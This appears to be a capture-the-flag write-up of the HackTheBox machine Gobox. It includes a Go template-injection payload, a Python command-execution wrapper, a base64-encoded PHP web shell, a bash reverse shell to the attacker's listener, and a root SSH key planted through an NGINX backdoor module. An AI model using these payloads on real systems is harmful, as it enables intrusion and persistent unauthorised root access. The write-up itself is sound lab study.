Gobox is a machine that has previously been used in the Ultimate Hacking Championship (UHC) event. It starts off by enumerating two web applications, one of which is a Go web application and is vulnerable to SSTI. The SSTI can be exploited to leak credentials and these can be used to login into the web app. After logging in, the app provides its source code. The source code reveals a debug mode that allows code execution to the underlying system, which is a container. Enumeration within the container reveals that it can interact with simulated Amazon S3 and has write permission on a bucket, thus allows me to drop a web shell to gain a foothold on the host system. Further enumeration on the host reveals an NGINX backdoor which can be leveraged to escalate to root.

In the explore section, I’m (trying to) digging into the request routing of this machine.

Skills Learned

  • Web enumeration
  • Golang SSTI
  • Source Code Analysis
  • Scripting


  • Nmap
  • Burp Suite



Full TCP scan using nmap discovers three open ports: SSH on port 22, two sites on port 80 and port 8080, which are handled by NGINX.

→ kali@kali «gobox» «»
$ fscan gobox
nmap -n -p- --min-rate=10000 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,8080 -sC -sV -oA nmap/10-tcp-allport-gobox
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 21:30 EDT
Nmap scan report for
Host is up (0.18s latency).

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open  http    nginx
|_http-title: Hacking eSports | {{.Title}}
8080/tcp open  http    nginx
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Hacking eSports | Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.82 seconds


TCP 80 - Website (Homepage)

The site on port 80 is a Hacking eSports homepage.


On the address bar, I added index.php and it returned the same page, therefore I can assume it’s a PHP site. But, on the title, I noticed a templating syntax that similar to the one used in Golang, so it’s weird for me to see that syntax on PHP (I’m familiar with that syntax because this blog is based on Go).


Nothing else to see here.

TCP 8080 - Website (Login page)

On port 8080, it presents a login page. When an email and a password is submitted, it outputs nothing.


Poking with curl shows that it has extra HTTP header: X-Forwarded-Server: golang.

→ kali@kali «gobox» «» 
$ curl -s -I       
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 07 Sep 2021 01:38:34 GMT
Connection: keep-alive
X-Forwarded-Server: golang

The “Forgot Password” link points to /forgot and it’s a password reset feature. If I submit an email address there, for example admin@gobox.htb, it reflects the address under the input box.


The following is how the HTTP request and the HTTP response look like.



Container root


Seeing a templating syntax and Golang in the HTTP response, I started to search some topics about SSTI in Golang, and then I came across this post. Using that post as reference and assuming that I can access a struct that has email property, I send the following payload:


And in the response there is an email address: ippsec@hacking.esports which means the site is vulnerable to SSTI!


When {{.}} is submitted, it spits out all the available property values.


ippsec@hacking.esports and ippsSecretPassword can be used to login, and the page returns with a source code written in Go.



Examining the source code reveals that there is a function (around line 27) that allows code execution on the underlying system. The function takes one parameter called test and passes it to the exec.Command function.

func (u User) DebugCmd(test string) string {
	ipp := strings.Split(test, " ")
	bin := strings.Join(ipp[:1], " ")
	args := strings.Join(ipp[1:], " ")
	if len(args) > 0 {
		out, _ := exec.Command(bin, args).CombinedOutput()
		return string(out)
	} else {
		out, _ := exec.Command(bin).CombinedOutput()
		return string(out)

Because it is a method of struct User, and this struct is rendered by the template engine, therefore I can just call it directly and pass in a sequence of OS command as its arguments ({{.DebugCmd "command"}} or {{.DebugCmd "command args"}}). For example, {{.DebugCmd "cat /etc/passwd"}}.


The user is root, but I found out that I’m inside a Docker container.


Based on the documentation, package html/template has autoescaping feature, so my bash reverse shell won’t work even with double base64 encoding. Therefore, I created a Python wrapper script to leverage this code execution.

import requests
import sys
import cmd
import html
from bs4 import BeautifulSoup

# hacky curly braces
curly_op = "{{"
curly_cl = "}}"
def exploit(url, cmd):
	payload  = {'email': f'{curly_op} .DebugCmd "{cmd}" {curly_cl}'}
	resp = requests.post(url, data=payload)
	soup = BeautifulSoup(resp.text, features="lxml")
	output = [tag.text for tag in soup.find_all("form")][0]
	print(html.unescape((str(str(output).strip().split("Email Sent To:")[1]).split("Login")[0]).strip()))

class GoboxSSTI(cmd.Cmd):
	prompt = '> '

	def default(self, line):
		exploit(url, line)

if __name__ == '__main__':
		url = sys.argv[1]
	except IndexError:

	term = GoboxSSTI()
	except KeyboardInterrupt:

Using that wrapper, I have ability to send OS command from my CLI to the compromised container.

→ kali@kali «exploits» «»
$ python3 ./gobox_ssti.py
> id
uid=0(root) gid=0(root) groups=0(root)
> uname -a
Linux aws 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Shell as www-data

S3 enumeration

While I was enumerating the installed binary to get a foothold on the container, I found an aws binary.

> ls -l /usr/bin/aws
-rwxr-xr-x 1 root root 815 Jun 17  2020 /usr/bin/aws
> aws 
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help
aws: error: the following arguments are required: command

I will send aws s3 ls to list the available buckets and there is one called website.

> aws s3 ls
2021-09-07 07:32:42 website

The bucket contains 4 files.

> aws s3 ls website
PRE css/
2021-09-07 07:32:42    1294778 bottom.png
2021-09-07 07:32:42     165551 header.png
2021-09-07 07:32:42          5 index.html
2021-09-07 07:32:42       1803 index.php

When I read the contents of index.php file, I’m sure it’s the source code of the homepage (port 80).

> aws s3 cp s3://website/index.php /tmp/id.php
download: s3://website/index.php to ../../tmp/id.php) remaining
> cat /tmp/id.php
<!DOCTYPE html>
<htm l lang="en">

  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Hacking eSports | {{.Title}}</title>
  <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">

I also find that I have write access on this bucket.

> echo '<?php phpinfo(); ?>' > /tmp/iamf.php
upload: ../../tmp/iamf.php to s3://website/iamf.phple(s) remaining
> aws s3 cp /tmp/iamf.php s3://website/
upload: ../../tmp/iamf.php to s3://website/iamf.phple(s) remaining

When I visit back the homepage and append my filename, it is there and it processes the PHP code.


Also, instead of Linux aws ... it returns with Linux gobox ..., that means the homepage is hosted in a different system.


This time I will upload a PHP webshell, but first I will encode the payload with base64 to avoid the bad characters.

→ kali@kali «~» «»
$ echo '<?php echo "<pre>"; system($_GET[f]) ?>' | base64 -w0

I will send and transfer that payload to S3 via the RCE wrapper.

> echo 'PD9waHAgZWNobyAiPHByZT4iOyBzeXN0ZW0oJF9HRVRbZl0pID8+Cg==' | base64 -d > /tmp/iamf-shell.php

> aws s3 cp /tmp/iamf-shell.php s3://website/iamf-shell.php
upload: ../../tmp/iamf-shell.php to s3://website/iamf-shell.phpg

And my webshell is now accessible on the homepage site.


Reverse Shell

This system has some Linux binaries that I can use to get a foothold, one of which is curl. First, I will craft my reverse shell script and host it afterwards.

→ kali@kali «gobox» «» 
$ mkrev tun0 bash | tee exploits/rce.sh
bash -c "bash -i >& /dev/tcp/ 0>&1"

On my webshell, I will grab that script and save it to target’s /tmp/ dir.

Now I will get my listener ready and execute my reverse shell script.


On my listener:

→ kali@kali «gobox» «»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [] from (UNKNOWN) [] 59898
bash: cannot set terminal process group (770): Inappropriate ioctl for device
bash: no job control in this shell

I will do the PTY trick and upgrade my shell.

www-data@gobox:/opt/website$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@gobox:/opt/website$ ^Z
[2]  + 4264 suspended  nc -nvlp 53
→ kali@kali «gobox» «»
$ stty raw -echo;fg
[2]  - 4264 continued  nc -nvlp 53

www-data@gobox:/opt/website$ export TERM=xterm
www-data@gobox:/opt/website$ stty cols 171 rows 30

It turns out that the user flag is readable by www-data.

www-data@gobox:/$ cat /etc/passwd | grep sh$
www-data@gobox:/$ ls -lR /home/ubuntu
total 4
-rw-r--r-- 1 root root 33 Aug 26 21:10 user.txt
www-data@gobox:/$ cat /home/ubuntu/user.txt

Privilege Escalation

Shell as root


When enumerating the network connections, there are some ports that seem to be missed by my nmap scan (I’ll look into this in the explore section).

www-data@gobox:/opt$ netstat -tlpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0  *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp6       0      0 :::9000                 :::*                    LISTEN      -
tcp6       0      0 :::9001                 :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN

I immediately inspected the NGINX configuration file under /etc/nginx/sites-enabled/. There is only one file there called default and it contains the following configurations:

# LocalStack that simulates AWS S3
server {
        listen 4566 default_server;

        root /var/www/html;

        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                if ($http_authorization !~ "(.*)SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz(.*)") {
                    return 403;


# Homepage
server {
        listen 80;
        root /opt/website;
        index index.php;

        location ~ [^/]\.php(/|$) {
            fastcgi_index index.php;
            fastcgi_param REQUEST_METHOD $request_method;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            fastcgi_param QUERY_STRING $query_string;

            fastcgi_pass unix:/tmp/php-fpm.sock;

# Login page
server {
        listen 8080;
        add_header X-Forwarded-Server golang;
        location / {

# unknown
server {
        location / {
                command on;

Based on the configuration above and the docker-compose.yml file I found under /opt/website/, the server that listens on port 4566 is routed into the internal port 9000 which is mapped into the LocalStack container (host:4566 [with auth]->host:9000->container-localstack:4566).

To confirm that, I run another scan against port 4566, and nmap shows that it’s open, but it’s forbidden because there is authorization check.

→ kali@kali «gobox» «»
$ nmap -sV -sC -p4566
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-08 06:51 EDT
Nmap scan report for gobox.htb (
Host is up (0.047s latency).

4566/tcp open  http    nginx
|_http-title: 403 Forbidden

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds

Since I know the correct authorization value, I can add it to the authorization header and get access to port 4566.

→ kali@kali «gobox» «»
$ curl -sv -H 'Authorization: Basic SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz'
*   Trying
* Connected to ( port 4566 (#0)
> GET / HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
> Authorization: Basic SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
* Mark bundle as not supporting multiuse
< HTTP/1.1 404
< Server: nginx
< Date: Thu, 09 Sep 2021 07:33:54 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 21
< Connection: keep-alive
< access-control-allow-origin: *
< access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
< access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging,amz-sdk-invocation-id,amz-sdk-request
< access-control-expose-headers: x-amz-version-id
* Connection #0 to host left intact
{"status": "running"}

As for port 80 and 8080, it’s clear that they are the homepage and the login page site.

The next one is request routing for port 8000, this is my first time to see “command on” written on NGINX’s config file.

server {
        location / {
                command on;

When I try to interact with it, it returns nothing.

www-data@gobox:/opt$ curl -s
www-data@gobox:/opt$ curl -I
curl: (52) Empty reply from server

With nc, it returns a “Bad Request”.

www-data@gobox:/$ nc -vn 8000
Connection to 8000 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Server: nginx
Date: Wed, 08 Sep 2021 11:13:48 GMT
Content-Type: text/html
Content-Length: 150
Connection: close

<head><title>400 Bad Request</title></head>
<center><h1>400 Bad Request</h1></center>

If I look at the date modified of the NGINX folder, there are 6 folders that were modified on August 26 at the same time.

www-data@gobox:/etc/nginx$ ls -lt
total 64
drwxr-xr-x 2 root root 4096 Aug 26 21:26 snippets
drwxr-xr-x 2 root root 4096 Aug 26 21:26 sites-available
drwxr-xr-x 2 root root 4096 Aug 26 21:26 sites-enabled
drwxr-xr-x 2 root root 4096 Aug 26 21:26 modules-enabled
drwxr-xr-x 2 root root 4096 Aug 26 21:26 conf.d
drwxr-xr-x 2 root root 4096 Aug 26 21:26 modules-available
-rw-r--r-- 1 root root 1484 Aug 24 20:30 nginx.conf
-rw-r--r-- 1 root root 3071 Feb  4  2019 win-utf
-rw-r--r-- 1 root root 1077 Feb  4  2019 fastcgi.conf
-rw-r--r-- 1 root root 1007 Feb  4  2019 fastcgi_params
-rw-r--r-- 1 root root 2837 Feb  4  2019 koi-utf
-rw-r--r-- 1 root root 2223 Feb  4  2019 koi-win
-rw-r--r-- 1 root root 3957 Feb  4  2019 mime.types
-rw-r--r-- 1 root root  180 Feb  4  2019 proxy_params
-rw-r--r-- 1 root root  636 Feb  4  2019 scgi_params
-rw-r--r-- 1 root root  664 Feb  4  2019 uwsgi_params

When I visit the modules-enabled folder, I find a module with a suspicious name “backdoor”!

www-data@gobox:/etc/nginx$ ls -l modules-enabled
total 12
-rw-r--r-- 1 root root 48 Aug 23 20:50 50-backdoor.conf
lrwxrwxrwx 1 root root 61 Aug 23 14:43 50-mod-http-image-filter.conf -> /usr/share/nginx/modules-available/mod-http-image-filter.conf
lrwxrwxrwx 1 root root 60 Aug 23 14:43 50-mod-http-xslt-filter.conf -> /usr/share/nginx/modules-available/mod-http-xslt-filter.conf
lrwxrwxrwx 1 root root 48 Aug 23 14:43 50-mod-mail.conf -> /usr/share/nginx/modules-available/mod-mail.conf
lrwxrwxrwx 1 root root 50 Aug 23 14:43 50-mod-stream.conf -> /usr/share/nginx/modules-available/mod-stream.conf

The module loads a .so file called ngx_http_execute_module.so. I found that file under /usr/lib/nginx/modules/.

www-data@gobox:/etc/nginx$ cat modules-enabled/50-backdoor.conf
load_module modules/ngx_http_execute_module.so
www-data@gobox:/etc/nginx$ find / -type f -name "ngx_http_execute_module.so" 2>/dev/null
www-data@gobox:/etc/nginx$ file /usr/lib/nginx/modules/ngx_http_execute_module.so
/usr/lib/nginx/modules/ngx_http_execute_module.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=4279ae42bf642b21378aa43c06b52f4d0b89f2ad, with debug_info, not stripped

I’m trying to find the origin of this module by grabbing some readable code using strings. It turns out the backdoor was taken from this Github repository: NginxExecute.

→ kali@kali «loot» «»
$ strings ngx_http_execute_module.so | grep '.c$'

NGINX Backdoor

According to the README file from the repository, I just need to send a HTTP request with ?system.run[command], but it doesn’t work here.

www-data@gobox:/etc/nginx$ curl -v "[whoami]"
* Trying
* Connected to ( port 8000 (#0)
> GET /?system.run[ifconfig] HTTP/1.1
> Host:
> User-Agent: curl/7.68.0
> Accept: */*
* Empty reply from server
* Connection #0 to host left intact
curl: (52) Empty reply from server

Running another strings command against the backdoor reveals it uses ippsec.run.

→ kali@kali «loot» «»
$ strings ngx_http_execute_module.so | grep 'run'

Now if I send ?ippsec.run[whoami], it returns:

www-data@gobox:/etc/nginx$ curl -g "[whoami]"

Using the previous reverse shell script I dropped on /tmp/, I can get an interactive shell access as root, but then the shell gets exited by itself.


So instead, I will inject my SSH public key.

www-data@gobox:/etc/nginx$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEBYhHk8/REIEriu8mkvQf4nihDP/deVl1j3Do/9R1H' > /tmp/iamf
www-data@gobox:/etc/nginx$ curl -g "[cat /tmp/iamf | tee /root/.ssh/authorized_keys]"
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEBYhHk8/REIEriu8mkvQf4nihDP/deVl1j3Do/9R1H

Now I can SSH login as root.

→ kali@kali «gobox» «»
$ ssh root@
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 08 Sep 2021 11:52:18 AM UTC

  System load:                      0.0
  Usage of /:                       37.1% of 9.72GB
  Memory usage:                     20%
  Swap usage:                       0%
  Processes:                        244
  Users logged in:                  0
  IPv4 address for br-bb21b8b9b286:
  IPv4 address for docker0:
  IPv4 address for ens160:

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu Aug 26 23:56:12 2021

I can grab the root flag as well.

root@gobox:~# ls -l
total 12
-rwxr-xr-x 1 root root  536 Aug 24 20:33 iptables.sh
-rw------- 1 root root   33 Aug 26 21:10 root.txt
drwxr-xr-x 3 root root 4096 Aug 26 21:26 snap
root@gobox:~# cat root.txt


Undetected ports

During enumeration, when I printed the networking status, I noticed that ports 9000, 9001, and 4566 should be accessible from external, with the exception that port 4566 needs an authentication header set first to be accessible.

www-data@gobox:/opt$ netstat -tlpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0  *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp6       0      0 :::9000                 :::*                    LISTEN      -
tcp6       0      0 :::9001                 :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN

It turns out there is a set of iptables rules which drop any connection coming to these ports.

root@gobox:~# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  localhost/8          anywhere            
ACCEPT     all  --        anywhere            
DROP       tcp  --  anywhere             anywhere             tcp dpt:9002
DROP       tcp  --  anywhere             anywhere             tcp dpt:9001
DROP       tcp  --  anywhere             anywhere             tcp dpt:9000

Shouldn’t it then return with filtered status?

Well, I think it was purely my mistake. I used --min-rate=10000, so this could be the reason nmap misidentified the filtered port as closed.

Gobox Request Routing

The first time I looked into the NGINX configuration file, it didn’t make sense to me why my web shell is on the host OS? In fact, I uploaded my web shell to an S3 bucket, which is also a container.

Now, with root access obtained, I could understand what was happening, and there was a synchronization process between the host and the LocalStack container.

root@gobox:~# cat /var/spool/incron/root 
/opt/deploy/.localstack/data/recorded_api_calls.json    IN_MODIFY       /usr/bin/aws --endpoint-url s3 sync s3://website /opt/website
/home/ubuntu/user.txt   IN_MODIFY       cp /home/ubuntu/user.txt /var/www/

So if I upload something into the bucket, the host will have it as well.

I also looked at how the web routing is done in this box and eventually visualize it as shown below: